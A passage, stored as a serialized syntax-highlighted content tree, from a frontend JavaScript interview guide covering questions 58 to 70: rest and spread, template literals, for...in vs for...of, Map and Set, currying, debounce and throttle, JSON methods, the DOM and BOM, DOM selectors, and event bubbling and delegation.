pattern.",[85,5741,5743],{"className":744,"code":5742,"language":746,"meta":90,"style":90},"function sum(...nums) {                       // collects all args\n    return nums.reduce((a, b) => a + b, 0)\n}\nconst [first, ...others] = [1, 2, 3, 4]      // others = [2, 3, 4]\n",[34,5744,5745,5764,5795,5799],{"__ignoreMap":90},[94,5746,5747,5749,5751,5753,5755,5758,5761],{"class":96,"line":97},[94,5748,2922],{"class":753},[94,5750,5172],{"class":146},[94,5752,770],{"class":100},[94,5754,3191],{"class":753},[94,5756,5757],{"class":2039},"nums",[94,5759,5760],{"class":100},") {                       ",[94,5762,5763],{"class":790},"// collects all args\n",[94,5765,5766,5768,5770,5772,5774,5776,5778,5780,5782,5784,5786,5788,5791,5793],{"class":96,"line":111},[94,5767,3370],{"class":753},[94,5769,5108],{"class":100},[94,5771,5006],{"class":146},[94,5773,4597],{"class":100},[94,5775,3607],{"class":2039},[94,5777,346],{"class":100},[94,5779,3612],{"class":2039},[94,5781,3615],{"class":100},[94,5783,3618],{"class":753},[94,5785,2900],{"class":100},[94,5787,3623],{"class":753},[94,5789,5790],{"class":100}," b, ",[94,5792,3040],{"class":757},[94,5794,776],{"class":100},[94,5796,5797],{"class":96,"line":122},[94,5798,1307],{"class":100},[94,5800,5801,5803,5805,5807,5809,5811,5814,5816,5818,5820,5822,5824,5826,5828,5830,5832,5834,5837],{"class":96,"line":138},[94,5802,754],{"class":753},[94,5804,5048],{"class":100},[94,5806,5387],{"class":757},[94,5808,346],{"class":100},[94,5810,3191],{"class":753},[94,5812,5813],{"class":757},"others",[94,5815,5395],{"class":100},[94,5817,150],{"class":753},[94,5819,5048],{"class":100},[94,5821,2591],{"class":757},[94,5823,346],{"class":100},[94,5825,5055],{"class":757},[94,5827,346],{"class":100},[94,5829,5060],{"class":757},[94,5831,346],{"class":100},[94,5833,5065],{"class":757},[94,5835,5836],{"class":100},"]      ",[94,5838,5839],{"class":790},"// others = [2, 3, 4]\n",[11,5841,5842,5843,5845,5846,5849,5850,5853],{},"Rule of thumb: if ",[34,5844,3191],{}," is on the ",[1183,5847,5848],{},"right side"," of the assignment (or inside a call / literal), it is spread. If it is on the ",[1183,5851,5852],{},"left side"," (in a parameter list or destructuring), it is rest.",[23,5855,5857],{"id":5856},"_59-what-are-template-literals","59. What are template literals?",[11,5859,5860,5861,5864],{},"Template literals are strings written with backticks instead of quotes. They give you two superpowers: variable interpolation with ",[34,5862,5863],{},"${...}",", and multi line strings without escape characters.",[85,5866,5868],{"className":744,"code":5867,"language":746,"meta":90,"style":90},"const name = 'Ada'\nconst age = 30\n\nconst greeting = `Hello, ${name}!\nYou are ${age} years old.\nNext year you will be ${age + 1}.`\n",[34,5869,5870,5881,5893,5897,5914,5924],{"__ignoreMap":90},[94,5871,5872,5874,5876,5878],{"class":96,"line":97},[94,5873,754],{"class":753},[94,5875,1139],{"class":757},[94,5877,761],{"class":753},[94,5879,5880],{"class":153}," 'Ada'\n",[94,5882,5883,5885,5888,5890],{"class":96,"line":111},[94,5884,754],{"class":753},[94,5886,5887],{"class":757}," age",[94,5889,761],{"class":753},[94,5891,5892],{"class":757}," 30\n",[94,5894,5895],{"class":96,"line":122},[94,5896,289],{"emptyLinePlaceholder":288},[94,5898,5899,5901,5904,5906,5909,5911],{"class":96,"line":138},[94,5900,754],{"class":753},[94,5902,5903],{"class":757}," greeting",[94,5905,761],{"class":753},[94,5907,5908],{"class":153}," `Hello, ${",[94,5910,4026],{"class":100},[94,5912,5913],{"class":153},"}!\n",[94,5915,5916,5919,5921],{"class":96,"line":164},[94,5917,5918],{"class":153},"You are ${",[94,5920,5468],{"class":100},[94,5922,5923],{"class":153},"} years old.\n",[94,5925,5926,5929,5931,5934,5937],{"class":96,"line":174},[94,5927,5928],{"class":153},"Next year you will be ${",[94,5930,5468],{"class":100},[94,5932,5933],{"class":753}," +",[94,5935,5936],{"class":757}," 1",[94,5938,5939],{"class":153},"}.`\n",[11,5941,5942,5943,5945,5946,5949],{},"You can put any JavaScript expression inside ",[34,5944,5863],{},", not just variables. There is also a more advanced form called ",[1183,5947,5948],{},"tagged templates",", where you prefix the literal with a function name and the function receives the parts of the string and the values separately. Libraries like styled components use that to write CSS inside JavaScript.",[23,5951,5953,5954,70,5957,229],{"id":5952},"_60-what-is-the-difference-between-forin-and-forof","60. What is the difference between ",[34,5955,5956],{},"for...in",[34,5958,5959],{},"for...of",[11,5961,5962],{},"This trips up beginners constantly, because the names are so similar.",[11,5964,5965,5967,5968,5971],{},[34,5966,5956],{}," iterates over the ",[1183,5969,5970],{},"keys"," of an object's enumerable properties (including inherited ones). It is meant for objects.",[11,5973,5974,5967,5976,5979],{},[34,5975,5959],{},[1183,5977,5978],{},"values"," of any iterable, like arrays, strings, Maps, Sets, and generators. It is meant for collections.",[85,5981,5983],{"className":744,"code":5982,"language":746,"meta":90,"style":90},"const obj = { a: 1, b: 2 }\nfor (const key in obj) console.log(key)        // 'a', 'b'\n\nconst arr = [10, 20, 30]\nfor (const value of arr) console.log(value)    // 10, 20, 30\n",[34,5984,5985,6006,6032,6036,6058],{"__ignoreMap":90},[94,5986,5987,5989,5992,5994,5997,5999,6002,6004],{"class":96,"line":97},[94,5988,754],{"class":753},[94,5990,5991],{"class":757}," obj",[94,5993,761],{"class":753},[94,5995,5996],{"class":100}," { a: ",[94,5998,2591],{"class":757},[94,6000,6001],{"class":100},", b: ",[94,6003,5055],{"class":757},[94,6005,2937],{"class":100},[94,6007,6008,6011,6013,6015,6018,6021,6024,6026,6029],{"class":96,"line":111},[94,6009,6010],{"class":753},"for",[94,6012,2253],{"class":100},[94,6014,754],{"class":753},[94,6016,6017],{"class":757}," key",[94,6019,6020],{"class":753}," in",[94,6022,6023],{"class":100}," obj) console.",[94,6025,784],{"class":146},[94,6027,6028],{"class":100},"(key)        ",[94,6030,6031],{"class":790},"// 'a', 'b'\n",[94,6033,6034],{"class":96,"line":122},[94,6035,289],{"emptyLinePlaceholder":288},[94,6037,6038,6040,6042,6044,6046,6048,6050,6052,6054,6056],{"class":96,"line":138},[94,6039,754],{"class":753},[94,6041,5623],{"class":757},[94,6043,761],{"class":753},[94,6045,5048],{"class":100},[94,6047,5430],{"class":757},[94,6049,346],{"class":100},[94,6051,5435],{"class":757},[94,6053,346],{"class":100},[94,6055,5440],{"class":757},[94,6057,5068],{"class":100},[94,6059,6060,6062,6064,6066,6069,6072,6075,6077,6080],{"class":96,"line":164},[94,6061,6010],{"class":753},[94,6063,2253],{"class":100},[94,6065,754],{"class":753},[94,6067,6068],{"class":757}," value",[94,6070,6071],{"class":753}," of",[94,6073,6074],{"class":100}," arr) console.",[94,6076,784],{"class":146},[94,6078,6079],{"class":100},"(value)    ",[94,6081,6082],{"class":790},"// 10, 20, 30\n",[11,6084,6085,6086,6088,6089,6091],{},"For arrays, always use ",[34,6087,5959],{},". Using ",[34,6090,5956],{}," on an array is a classic source of bugs, because it can pick up extra properties on the array (added by libraries or by you), and the keys are strings, not numbers.",[23,6093,6095,6096,70,6099,229],{"id":6094},"_61-what-are-map-and-set","61. What are ",[34,6097,6098],{},"Map",[34,6100,6101],{},"Set",[11,6103,6104,6106,6107,6110,6111,346,6114,346,6117,346,6120,6123,6124,706],{},[34,6105,6098],{}," is a key value collection like an object, but with two big improvements: keys can be ",[1183,6108,6109],{},"any type"," (objects, functions, anything), and the order of insertion is preserved. It also has a clean API (",[34,6112,6113],{},".set",[34,6115,6116],{},".get",[34,6118,6119],{},".has",[34,6121,6122],{},".delete",") and a real ",[34,6125,6126],{},".size",[11,6128,6129,6131],{},[34,6130,6101],{}," is a collection of unique values. If you add the same value twice, it is only stored once. Insertion order is preserved.",[85,6133,6135],{"className":744,"code":6134,"language":746,"meta":90,"style":90},"const userScores = new Map()\nconst ada = { id: 1 }\nuserScores.set(ada, 95)        // object as key\nuserScores.get(ada)            // 95\n\nconst tags = new Set(['js', 'css', 'js'])\ntags.size                      // 2\ntags.has('css')                // true\n",[34,6136,6137,6153,6169,6189,6202,6206,6238,6245],{"__ignoreMap":90},[94,6138,6139,6141,6144,6146,6148,6151],{"class":96,"line":97},[94,6140,754],{"class":753},[94,6142,6143],{"class":757}," userScores",[94,6145,761],{"class":753},[94,6147,4591],{"class":753},[94,6149,6150],{"class":146}," Map",[94,6152,3420],{"class":100},[94,6154,6155,6157,6160,6162,6165,6167],{"class":96,"line":111},[94,6156,754],{"class":753},[94,6158,6159],{"class":757}," ada",[94,6161,761],{"class":753},[94,6163,6164],{"class":100}," { id: ",[94,6166,2591],{"class":757},[94,6168,2937],{"class":100},[94,6170,6171,6174,6177,6180,6183,6186],{"class":96,"line":122},[94,6172,6173],{"class":100},"userScores.",[94,6175,6176],{"class":146},"set",[94,6178,6179],{"class":100},"(ada, ",[94,6181,6182],{"class":757},"95",[94,6184,6185],{"class":100},")        ",[94,6187,6188],{"class":790},"// object as key\n",[94,6190,6191,6193,6196,6199],{"class":96,"line":138},[94,6192,6173],{"class":100},[94,6194,6195],{"class":146},"get",[94,6197,6198],{"class":100},"(ada)            ",[94,6200,6201],{"class":790},"// 95\n",[94,6203,6204],{"class":96,"line":164},[94,6205,289],{"emptyLinePlaceholder":288},[94,6207,6208,6210,6213,6215,6217,6220,6223,6226,6228,6231,6233,6235],{"class":96,"line":174},[94,6209,754],{"class":753},[94,6211,6212],{"class":757}," tags",[94,6214,761],{"class":753},[94,6216,4591],{"class":753},[94,6218,6219],{"class":146}," Set",[94,6221,6222],{"class":100},"([",[94,6224,6225],{"class":153},"'js'",[94,6227,346],{"class":100},[94,6229,6230],{"class":153},"'css'",[94,6232,346],{"class":100},[94,6234,6225],{"class":153},[94,6236,6237],{"class":100},"])\n",[94,6239,6240,6243],{"class":96,"line":188},[94,6241,6242],{"class":100},"tags.size                      ",[94,6244,3440],{"class":790},[94,6246,6247,6250,6253,6255,6257,6260],{"class":96,"line":203},[94,6248,6249],{"class":100},"tags.",[94,6251,6252],{"class":146},"has",[94,6254,770],{"class":100},[94,6256,6230],{"class":153},[94,6258,6259],{"class":100},")                ",[94,6261,6262],{"class":790},"// true\n",[11,6264,6265],{},"Maps and Sets shine when you need fast inserts and deletes, when you do not want the prototype pollution issues of plain objects, or when you need non string keys.",[23,6267,6269,6270,70,6273,229],{"id":6268},"_62-what-is-the-difference-between-object-and-map","62. What is the difference between ",[34,6271,6272],{},"Object",[34,6274,6098],{},[11,6276,6277],{},"Both store key value pairs, but they have different design goals.",[497,6279,6280,6290],{},[500,6281,6282],{},[503,6283,6284,6286,6288],{},[506,6285,2714],{},[506,6287,6272],{},[506,6289,6098],{},[519,6291,6292,6303,6314,6330,6346,6361],{},[503,6293,6294,6297,6300],{},[524,6295,6296],{},"Key types",[524,6298,6299],{},"Strings and Symbols only",[524,6301,6302],{},"Any value (objects, functions, ...)",[503,6304,6305,6308,6311],{},[524,6306,6307],{},"Insertion order",[524,6309,6310],{},"Mostly preserved (with some rules)",[524,6312,6313],{},"Always preserved",[503,6315,6316,6319,6325],{},[524,6317,6318],{},"Size",[524,6320,6321,6322],{},"Manual: ",[34,6323,6324],{},"Object.keys(o).length",[524,6326,6327,6329],{},[34,6328,6126],{}," property",[503,6331,6332,6335,6341],{},[524,6333,6334],{},"Iteration",[524,6336,6337,6338],{},"Indirect, via ",[34,6339,6340],{},"Object.keys/entries",[524,6342,6343,6344],{},"Built in, ",[34,6345,5959],{},[503,6347,6348,6351,6358],{},[524,6349,6350],{},"Default keys (prototype)",[524,6352,6353,6354,6357],{},"Has inherited keys (",[34,6355,6356],{},"toString",", etc)",[524,6359,6360],{},"Truly empty",[503,6362,6363,6366,6369],{},[524,6364,6365],{},"Performance for frequent add / delete",[524,6367,6368],{},"Slower in many engines",[524,6370,6371],{},"Faster",[11,6373,6374,6375,6377],{},"Use a plain object for small, fixed shape records (like a config). Use a ",[34,6376,6098],{}," when keys are dynamic, or come from user input, or are non strings, or when you add and remove a lot.",[23,6379,6381],{"id":6380},"_63-what-is-currying","63. What is currying?",[11,6383,6384],{},"Currying is the technique of turning a function that takes many arguments into a chain of functions that each take one argument, returning the next function until you have all of them.",[85,6386,6388],{"className":744,"code":6387,"language":746,"meta":90,"style":90},"// Normal\nfunction add(a, b, c) { return a + b + c }\nadd(1, 2, 3)            // 6\n\n// Curried\nconst addCurried = a => b => c => a + b + c\naddCurried(1)(2)(3)     // 6\n",[34,6389,6390,6395,6428,6451,6455,6460,6493],{"__ignoreMap":90},[94,6391,6392],{"class":96,"line":97},[94,6393,6394],{"class":790},"// Normal\n",[94,6396,6397,6399,6401,6403,6405,6407,6409,6411,6413,6415,6417,6419,6421,6423,6425],{"class":96,"line":111},[94,6398,2922],{"class":753},[94,6400,3600],{"class":146},[94,6402,770],{"class":100},[94,6404,3607],{"class":2039},[94,6406,346],{"class":100},[94,6408,3612],{"class":2039},[94,6410,346],{"class":100},[94,6412,5421],{"class":2039},[94,6414,3210],{"class":100},[94,6416,2931],{"class":753},[94,6418,2900],{"class":100},[94,6420,3623],{"class":753},[94,6422,2912],{"class":100},[94,6424,3623],{"class":753},[94,6426,6427],{"class":100}," c }\n",[94,6429,6430,6433,6435,6437,6439,6441,6443,6445,6448],{"class":96,"line":122},[94,6431,6432],{"class":146},"add",[94,6434,770],{"class":100},[94,6436,2591],{"class":757},[94,6438,346],{"class":100},[94,6440,5055],{"class":757},[94,6442,346],{"class":100},[94,6444,5060],{"class":757},[94,6446,6447],{"class":100},")            ",[94,6449,6450],{"class":790},"// 6\n",[94,6452,6453],{"class":96,"line":138},[94,6454,289],{"emptyLinePlaceholder":288},[94,6456,6457],{"class":96,"line":164},[94,6458,6459],{"class":790},"// Curried\n",[94,6461,6462,6464,6467,6469,6471,6473,6475,6477,6480,6482,6484,6486,6488,6490],{"class":96,"line":174},[94,6463,754],{"class":753},[94,6465,6466],{"class":146}," addCurried",[94,6468,761],{"class":753},[94,6470,5241],{"class":2039},[94,6472,3641],{"class":753},[94,6474,5713],{"class":2039},[94,6476,3641],{"class":753},[94,6478,6479],{"class":2039}," c",[94,6481,3641],{"class":753},[94,6483,2900],{"class":100},[94,6485,3623],{"class":753},[94,6487,2912],{"class":100},[94,6489,3623],{"class":753},[94,6491,6492],{"class":100}," c\n",[94,6494,6495,6498,6500,6502,6505,6507,6509,6511,6514],{"class":96,"line":188},[94,6496,6497],{"class":146},"addCurried",[94,6499,770],{"class":100},[94,6501,2591],{"class":757},[94,6503,6504],{"class":100},")(",[94,6506,5055],{"class":757},[94,6508,6504],{"class":100},[94,6510,5060],{"class":757},[94,6512,6513],{"class":100},")     ",[94,6515,6450],{"class":790},[11,6517,6518,6519,6522],{},"The point of currying is ",[1183,6520,6521],{},"partial application",": you can fix some arguments now and leave the rest for later, producing a specialised function from a general one.",[85,6524,6526],{"className":744,"code":6525,"language":746,"meta":90,"style":90},"const add = a => b => a + b\nconst add5 = add(5)\nadd5(3)                  // 8\nadd5(10)                 // 15\n",[34,6527,6528,6550,6568,6583],{"__ignoreMap":90},[94,6529,6530,6532,6534,6536,6538,6540,6542,6544,6546,6548],{"class":96,"line":97},[94,6531,754],{"class":753},[94,6533,3600],{"class":146},[94,6535,761],{"class":753},[94,6537,5241],{"class":2039},[94,6539,3641],{"class":753},[94,6541,5713],{"class":2039},[94,6543,3641],{"class":753},[94,6545,2900],{"class":100},[94,6547,3623],{"class":753},[94,6549,3626],{"class":100},[94,6551,6552,6554,6557,6559,6561,6563,6566],{"class":96,"line":111},[94,6553,754],{"class":753},[94,6555,6556],{"class":757}," add5",[94,6558,761],{"class":753},[94,6560,3600],{"class":146},[94,6562,770],{"class":100},[94,6564,6565],{"class":757},"5",[94,6567,776],{"class":100},[94,6569,6570,6573,6575,6577,6580],{"class":96,"line":122},[94,6571,6572],{"class":146},"add5",[94,6574,770],{"class":100},[94,6576,5060],{"class":757},[94,6578,6579],{"class":100},")                  ",[94,6581,6582],{"class":790},"// 8\n",[94,6584,6585,6587,6589,6591,6594],{"class":96,"line":138},[94,6586,6572],{"class":146},[94,6588,770],{"class":100},[94,6590,5430],{"class":757},[94,6592,6593],{"class":100},")                 ",[94,6595,6596],{"class":790},"// 15\n",[11,6598,6599],{},"It is most popular in functional programming styles where you want small reusable functions you can compose.",[23,6601,6603],{"id":6602},"_64-what-is-debouncing-and-throttling","64. What is debouncing and throttling?",[11,6605,6606],{},"Both are techniques to control how often a function runs in response to a stream of events (like keystrokes, scrolling, or window resizing). They sound similar but solve different problems.",[11,6608,6609,6612,6613,6616],{},[1183,6610,6611],{},"Debounce"," waits for the events to ",[1183,6614,6615],{},"stop"," for a given time, then runs the function once. It is perfect for things like a search input: you do not want to fire a request on every keystroke, you want to fire one when the user pauses typing.",[11,6618,6619,6622],{},[1183,6620,6621],{},"Throttle"," runs the function at most once every X milliseconds, no matter how many events come in. It is perfect for things like scroll handlers: you want regular updates, but not 200 of them per second.",[85,6624,6626],{"className":744,"code":6625,"language":746,"meta":90,"style":90},"function debounce(fn, delay) {\n    let timer\n    return (...args) => {\n        clearTimeout(timer)\n        timer = setTimeout(() => fn(...args), delay)\n    }\n}\n\nfunction throttle(fn, limit) {\n    let lastRun = 0\n    return (...args) => {\n        const now = Date.now()\n        if (now - lastRun >= limit) {\n            lastRun = now\n            fn(...args)\n        }\n    }\n}\n",[34,6627,6628,6646,6653,6670,6678,6701,6705,6709,6713,6731,6742,6758,6776,6795,6806,6819,6825,6830],{"__ignoreMap":90},[94,6629,6630,6632,6635,6637,6639,6641,6644],{"class":96,"line":97},[94,6631,2922],{"class":753},[94,6633,6634],{"class":146}," debounce",[94,6636,770],{"class":100},[94,6638,3911],{"class":2039},[94,6640,346],{"class":100},[94,6642,6643],{"class":2039},"delay",[94,6645,2265],{"class":100},[94,6647,6648,6650],{"class":96,"line":111},[94,6649,2987],{"class":753},[94,6651,6652],{"class":100}," timer\n",[94,6654,6655,6657,6659,6661,6664,6666,6668],{"class":96,"line":122},[94,6656,3370],{"class":753},[94,6658,2253],{"class":100},[94,6660,3191],{"class":753},[94,6662,6663],{"class":2039},"args",[94,6665,3615],{"class":100},[94,6667,3618],{"class":753},[94,6669,1289],{"class":100},[94,6671,6672,6675],{"class":96,"line":138},[94,6673,6674],{"class":146},"        clearTimeout",[94,6676,6677],{"class":100},"(timer)\n",[94,6679,6680,6683,6685,6688,6690,6692,6694,6696,6698],{"class":96,"line":164},[94,6681,6682],{"class":100},"        timer ",[94,6684,150],{"class":753},[94,6686,6687],{"class":146}," setTimeout",[94,6689,4425],{"class":100},[94,6691,3618],{"class":753},[94,6693,3901],{"class":146},[94,6695,770],{"class":100},[94,6697,3191],{"class":753},[94,6699,6700],{"class":100},"args), delay)\n",[94,6702,6703],{"class":96,"line":174},[94,6704,2289],{"class":100},[94,6706,6707],{"class":96,"line":188},[94,6708,1307],{"class":100},[94,6710,6711],{"class":96,"line":203},[94,6712,289],{"emptyLinePlaceholder":288},[94,6714,6715,6717,6720,6722,6724,6726,6729],{"class":96,"line":1695},[94,6716,2922],{"class":753},[94,6718,6719],{"class":146}," throttle",[94,6721,770],{"class":100},[94,6723,3911],{"class":2039},[94,6725,346],{"class":100},[94,6727,6728],{"class":2039},"limit",[94,6730,2265],{"class":100},[94,6732,6733,6735,6738,6740],{"class":96,"line":1702},[94,6734,2987],{"class":753},[94,6736,6737],{"class":100}," lastRun ",[94,6739,150],{"class":753},[94,6741,3365],{"class":757},[94,6743,6744,6746,6748,6750,6752,6754,6756],{"class":96,"line":1714},[94,6745,3370],{"class":753},[94,6747,2253],{"class":100},[94,6749,3191],{"class":753},[94,6751,6663],{"class":2039},[94,6753,3615],{"class":100},[94,6755,3618],{"class":753},[94,6757,1289],{"class":100},[94,6759,6760,6763,6766,6768,6771,6774],{"class":96,"line":1726},[94,6761,6762],{"class":753},"        const",[94,6764,6765],{"class":757}," now",[94,6767,761],{"class":753},[94,6769,6770],{"class":100}," Date.",[94,6772,6773],{"class":146},"now",[94,6775,3420],{"class":100},[94,6777,6778,6781,6784,6787,6789,6792],{"class":96,"line":5586},[94,6779,6780],{"class":753},"        if",[94,6782,6783],{"class":100}," (now ",[94,6785,6786],{"class":753},"-",[94,6788,6737],{"class":100},[94,6790,6791],{"class":753},">=",[94,6793,6794],{"class":100}," limit) {\n",[94,6796,6798,6801,6803],{"class":96,"line":6797},14,[94,6799,6800],{"class":100},"            lastRun ",[94,6802,150],{"class":753},[94,6804,6805],{"class":100}," now\n",[94,6807,6809,6812,6814,6816],{"class":96,"line":6808},15,[94,6810,6811],{"class":146},"            fn",[94,6813,770],{"class":100},[94,6815,3191],{"class":753},[94,6817,6818],{"class":100},"args)\n",[94,6820,6822],{"class":96,"line":6821},16,[94,6823,6824],{"class":100},"        }\n",[94,6826,6828],{"class":96,"line":6827},17,[94,6829,2289],{"class":100},[94,6831,6833],{"class":96,"line":6832},18,[94,6834,1307],{"class":100},[11,6836,6837],{},"Knowing which one to use is the real interview question: \"search box\" -> debounce; \"scroll position indicator\" -> throttle.",[23,6839,6841,6842,70,6845,229],{"id":6840},"_65-what-is-the-difference-between-jsonstringify-and-jsonparse","65. What is the difference between ",[34,6843,6844],{},"JSON.stringify",[34,6846,6847],{},"JSON.parse",[11,6849,6850],{},"They are mirror image functions for working with JSON, the standard text format used by virtually every web API.",[11,6852,6853,6856,6857,6859],{},[34,6854,6855],{},"JSON.stringify(value)"," takes a JavaScript value (object, array, number, string, boolean, or ",[34,6858,3066],{},") and returns a JSON string representation of it.",[11,6861,6862,6865],{},[34,6863,6864],{},"JSON.parse(text)"," takes a JSON string and returns the corresponding JavaScript value.",[85,6867,6869],{"className":744,"code":6868,"language":746,"meta":90,"style":90},"const user = { name: 'Ada', age: 30 }\nconst text = JSON.stringify(user)            // '{\"name\":\"Ada\",\"age\":30}'\nconst back = JSON.parse(text)                // { name: 'Ada', age: 30 }\n",[34,6870,6871,6891,6914],{"__ignoreMap":90},[94,6872,6873,6875,6877,6879,6882,6884,6887,6889],{"class":96,"line":97},[94,6874,754],{"class":753},[94,6876,3833],{"class":757},[94,6878,761],{"class":753},[94,6880,6881],{"class":100}," { name: ",[94,6883,3845],{"class":153},[94,6885,6886],{"class":100},", age: ",[94,6888,5440],{"class":757},[94,6890,2937],{"class":100},[94,6892,6893,6895,6898,6900,6903,6905,6908,6911],{"class":96,"line":111},[94,6894,754],{"class":753},[94,6896,6897],{"class":757}," text",[94,6899,761],{"class":753},[94,6901,6902],{"class":757}," JSON",[94,6904,360],{"class":100},[94,6906,6907],{"class":146},"stringify",[94,6909,6910],{"class":100},"(user)            ",[94,6912,6913],{"class":790},"// '{\"name\":\"Ada\",\"age\":30}'\n",[94,6915,6916,6918,6921,6923,6925,6927,6930,6933],{"class":96,"line":122},[94,6917,754],{"class":753},[94,6919,6920],{"class":757}," back",[94,6922,761],{"class":753},[94,6924,6902],{"class":757},[94,6926,360],{"class":100},[94,6928,6929],{"class":146},"parse",[94,6931,6932],{"class":100},"(text)                ",[94,6934,6935],{"class":790},"// { name: 'Ada', age: 30 }\n",[11,6937,6938,6939,6941,6942,6944,6945,6948],{},"A few things worth knowing. ",[34,6940,6844],{}," silently drops functions, ",[34,6943,2752],{},", and Symbol values; it converts Dates to ISO strings (one way only); and it throws on circular references. For deep cloning real data, prefer ",[34,6946,6947],{},"structuredClone",". And remember that JSON keys must be double quoted strings, which catches a lot of people writing JSON by hand.",[18,6950,6952],{"id":6951},"dom-browser-and-events","DOM, Browser, and Events",[23,6954,6956],{"id":6955},"_66-what-is-the-dom","66. What is the DOM?",[11,6958,6959],{},"The DOM (Document Object Model) is the in memory tree the browser builds out of your HTML. Every tag, every attribute, every piece of text becomes a node in that tree. JavaScript talks to the page by reading and modifying this tree, not the original HTML text.",[11,6961,6962,6963,6966],{},"A useful way to think about it: HTML is the recipe, the DOM is the cake. Once the page is parsed, your JavaScript only ever sees the DOM. If you change the DOM (",[34,6964,6965],{},"element.textContent = 'Hi'","), the screen updates. If you change the original HTML string after the page has loaded, nothing happens, because the browser is no longer reading from it.",[23,6968,6970],{"id":6969},"_67-what-is-the-difference-between-the-dom-and-the-bom","67. What is the difference between the DOM and the BOM?",[11,6972,6973,6974,6977],{},"The DOM is the document tree: ",[34,6975,6976],{},"document"," and everything under it (elements, text, attributes). It is the part of the browser API that lets you manipulate the page's content and structure.",[11,6979,6980,6981,6983,6984,346,6986,346,6989,346,6992,346,6995,6998],{},"The BOM (Browser Object Model) is everything else the browser exposes that is ",[1183,6982,3231],{}," about the document content: ",[34,6985,3763],{},[34,6987,6988],{},"navigator",[34,6990,6991],{},"location",[34,6993,6994],{},"history",[34,6996,6997],{},"screen",", alerts, prompts, and so on. These are things about the browser tab, the URL, and the user's environment.",[11,7000,7001,7002,7004,7005,7008,7009,7012],{},"Both are accessed through the global ",[34,7003,3763],{}," object. So ",[34,7006,7007],{},"window.document"," is the DOM, ",[34,7010,7011],{},"window.location"," is part of the BOM. In practice, you rarely care about the distinction by name; you just learn the bits you need.",[23,7014,7016,7017,346,7020,463,7022,229],{"id":7015},"_68-what-is-the-difference-between-documentgetelementbyid-queryselector-and-queryselectorall","68. What is the difference between ",[34,7018,7019],{},"document.getElementById",[34,7021,767],{},[34,7023,7024],{},"querySelectorAll",[11,7026,7027],{},"All three are ways to find elements in the DOM, but they differ in what they accept and what they return.",[483,7029,7030,7043,7054],{},[486,7031,7032,7035,7036,7039,7040,7042],{},[34,7033,7034],{},"getElementById('main')"," takes only an id (no ",[34,7037,7038],{},"#"," prefix) and returns the element or ",[34,7041,3066],{},". It is the fastest and oldest API.",[486,7044,7045,7048,7049,7051,7052,360],{},[34,7046,7047],{},"querySelector('.card .title')"," takes any CSS selector and returns the ",[1183,7050,5387],{}," matching element or ",[34,7053,3066],{},[486,7055,7056,7059,7060,7062],{},[34,7057,7058],{},"querySelectorAll('.card')"," takes any CSS selector and returns a ",[1183,7061,1339],{}," NodeList of all matches. Static means it does not auto update if you add more matching elements later.",[85,7064,7066],{"className":744,"code":7065,"language":746,"meta":90,"style":90},"const el = document.getElementById('main')\nconst first = document.querySelector('.card .title')\nconst all = document.querySelectorAll('.card')\nall.forEach(card => card.classList.add('seen'))\n",[34,7067,7068,7089,7109,7129],{"__ignoreMap":90},[94,7069,7070,7072,7075,7077,7079,7082,7084,7087],{"class":96,"line":97},[94,7071,754],{"class":753},[94,7073,7074],{"class":757}," el",[94,7076,761],{"class":753},[94,7078,764],{"class":100},[94,7080,7081],{"class":146},"getElementById",[94,7083,770],{"class":100},[94,7085,7086],{"class":153},"'main'",[94,7088,776],{"class":100},[94,7090,7091,7093,7096,7098,7100,7102,7104,7107],{"class":96,"line":111},[94,7092,754],{"class":753},[94,7094,7095],{"class":757}," first",[94,7097,761],{"class":753},[94,7099,764],{"class":100},[94,7101,767],{"class":146},[94,7103,770],{"class":100},[94,7105,7106],{"class":153},"'.card .title'",[94,7108,776],{"class":100},[94,7110,7111,7113,7116,7118,7120,7122,7124,7127],{"class":96,"line":122},[94,7112,754],{"class":753},[94,7114,7115],{"class":757}," all",[94,7117,761],{"class":753},[94,7119,764],{"class":100},[94,7121,7024],{"class":146},[94,7123,770],{"class":100},[94,7125,7126],{"class":153},"'.card'",[94,7128,776],{"class":100},[94,7130,7131,7134,7136,7138,7141,7143,7146,7148,7150,7153],{"class":96,"line":138},[94,7132,7133],{"class":100},"all.",[94,7135,4997],{"class":146},[94,7137,770],{"class":100},[94,7139,7140],{"class":2039},"card",[94,7142,3641],{"class":753},[94,7144,7145],{"class":100}," card.classList.",[94,7147,6432],{"class":146},[94,7149,770],{"class":100},[94,7151,7152],{"class":153},"'seen'",[94,7154,4474],{"class":100},[11,7156,7157,7158,4368,7160,7162,7163,7165],{},"Modern code uses ",[34,7159,767],{},[34,7161,7024],{}," almost exclusively, because the selector syntax is so flexible. Reach for ",[34,7164,7081],{}," when you have an id and want the absolute fastest path.",[23,7167,7169],{"id":7168},"_69-what-is-event-bubbling-and-capturing","69. What is event bubbling and capturing?",[11,7171,7172],{},"When something happens on an element (a click, a keypress), the event does not just fire on that element. It travels through the DOM in three phases:",[1940,7174,7175,7184,7190],{},[486,7176,7177,7180,7181,7183],{},[1183,7178,7179],{},"Capturing phase",": the event starts at ",[34,7182,3763],{}," and travels down through every ancestor toward the target.",[486,7185,7186,7189],{},[1183,7187,7188],{},"Target phase",": the event reaches the actual element it was fired on.",[486,7191,7192,7195,7196,360],{},[1183,7193,7194],{},"Bubbling phase",": the event travels back up through every ancestor to ",[34,7197,3763],{},[11,7199,7200],{},[426,7201],{"alt":7202,"src":7203},"Event bubbling and capturing diagram","/post-images/top-100-frontend-interview-questions/event-bubbling-capturing-diagram.png",[11,7205,7206,7207,7210,7211,7214],{},"By default, your event listeners run during the bubbling phase. You can opt into capturing by passing ",[34,7208,7209],{},"{ capture: true }"," to ",[34,7212,7213],{},"addEventListener",". The reason this exists is so that ancestors can react to events on descendants without having to attach listeners on every individual child, which leads us straight to the next concept.",[23,7216,7218],{"id":7217},"_70-what-is-event-delegation","70. What is event delegation?",[11,7220,7221,7222,7225],{},"Event delegation is a pattern where you attach a single listener to a common ancestor and use the event's ",[34,7223,7224],{},"target"," to figure out which child triggered it. It works because of bubbling: a click on a child eventually bubbles up to the parent, where your listener sees it.",[85,7227,7229],{"className":744,"code":7228,"language":746,"meta":90,"style":90},"document.querySelector('ul').addEventListener('click', (e) => {\n    const li = e.target.closest('li')\n    if (!li) return\n    console.log('Clicked', 